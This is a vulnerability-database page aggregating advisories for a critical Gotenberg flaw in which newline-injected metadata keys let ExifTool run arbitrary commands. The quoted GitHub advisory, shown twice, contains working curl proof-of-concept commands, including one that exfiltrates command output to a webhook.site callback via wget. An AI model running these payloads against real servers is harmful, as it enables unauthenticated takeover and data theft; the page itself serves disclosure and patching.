Every CVE Search/ Get API key

CVE-2026-42589

Gotenberg: Unauthenticated RCE via ExifTool Metadata Key Injection

9.8 CriticalPublic exploit

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

3.01%Up 2.9 points since May 15, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.8

Gotenberg: Unauthenticated RCE via ExifTool Metadata Key Injection

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0.

Record
CVE-2026-42589
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
EUVDEUVD-2026-30311 9.8

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0.

Record
EUVD-2026-30311
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-rqgh-gxv4-6657 9.8

Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection

Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection

Summary

Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.

Vulnerability Details

| Field | Value | |------------------|------------------------------------------| | Product | Gotenberg | | Version | 8.29.1 (default gotenberg/gotenberg:8) | | Component | pdfengines/metadata/write endpoint | | CWE | CWE-78 — Improper Neutralization of Special Elements used in an OS Command |

Affected Code

Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character validation. The existing dangerousTags blocklist uses exact-match deletion and provides no defense against \n-embedded keys.

The injection occurs because go-exiftool writes each key to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)   // k contains \n → splits into a new argument line

When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:

-Title
-if
system('cmd')||1
-Comment=x

ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.

Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys. This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.

Attack Scenario

Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)

  1. Attacker sends a POST request to /forms/pdfengines/metadata/write with any valid PDF and a metadata JSON object whose key contains embedded newlines.
  2. Gotenberg deserializes the JSON key — \n is preserved as a literal newline in Go's map[string]any after json.Unmarshal.
  3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
  4. ExifTool processes -if system('cmd')||1 as a Perl expression and executes cmd.
  5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.

Proof of Concept

# Write output of `id` to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

OOB exfiltration via base64-encoded HTTP callback:

OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET…
Record
GHSA-rqgh-gxv4-6657
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
NVD 9.8

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0.

Record
CVE-2026-42589
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSV 9.8

Gotenberg: Unauthenticated RCE via ExifTool Metadata Key Injection

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0.

Record
CVE-2026-42589
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVGHSA-rqgh-gxv4-6657 9.8

Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection

Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection

Summary

Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.

Vulnerability Details

| Field | Value | |------------------|------------------------------------------| | Product | Gotenberg | | Version | 8.29.1 (default gotenberg/gotenberg:8) | | Component | pdfengines/metadata/write endpoint | | CWE | CWE-78 — Improper Neutralization of Special Elements used in an OS Command |

Affected Code

Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character validation. The existing dangerousTags blocklist uses exact-match deletion and provides no defense against \n-embedded keys.

The injection occurs because go-exiftool writes each key to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)   // k contains \n → splits into a new argument line

When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:

-Title
-if
system('cmd')||1
-Comment=x

ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.

Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys. This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.

Attack Scenario

Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)

  1. Attacker sends a POST request to /forms/pdfengines/metadata/write with any valid PDF and a metadata JSON object whose key contains embedded newlines.
  2. Gotenberg deserializes the JSON key — \n is preserved as a literal newline in Go's map[string]any after json.Unmarshal.
  3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
  4. ExifTool processes -if system('cmd')||1 as a Perl expression and executes cmd.
  5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.

Proof of Concept

# Write output of `id` to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

OOB exfiltration via base64-encoded HTTP callback:

OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET…
Record
GHSA-rqgh-gxv4-6657
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVGO-2026-5636 No score

Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection in github.com/gotenberg/gotenberg

Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection in github.com/gotenberg/gotenberg

Record
GO-2026-5636
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/gotenberg/gotenberg/v8
Go
 8.29.1 to 8.29.1 None known
github.com/gotenberg/gotenberg/v8
Go
 Listed versions
8.29.1
 None known
github.com/gotenberg/gotenberg/v7
Go
 All versions None known
github.com/gotenberg/gotenberg/v8
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubfineman999/POC_CVE-2026-425892026-05-30
PoC in GitHubcodeb0ssx/CVE-2026-42589xCVE-2026-40281-PoC2026-10-02
PoC in GitHubHackfutSecRoot/-GOTENBERG-RCE-CHAIN2026-10-03
NucleiGotenberg - Command Injection

History

History
RecordedChangedSources
affected, exploits, facts
first indexedCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-42589 is a critical vulnerability (CVSS 9.8) in Gotenberg, published May 7, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 3.01%, the 87th percentile. No source names a fixed version.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,539 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open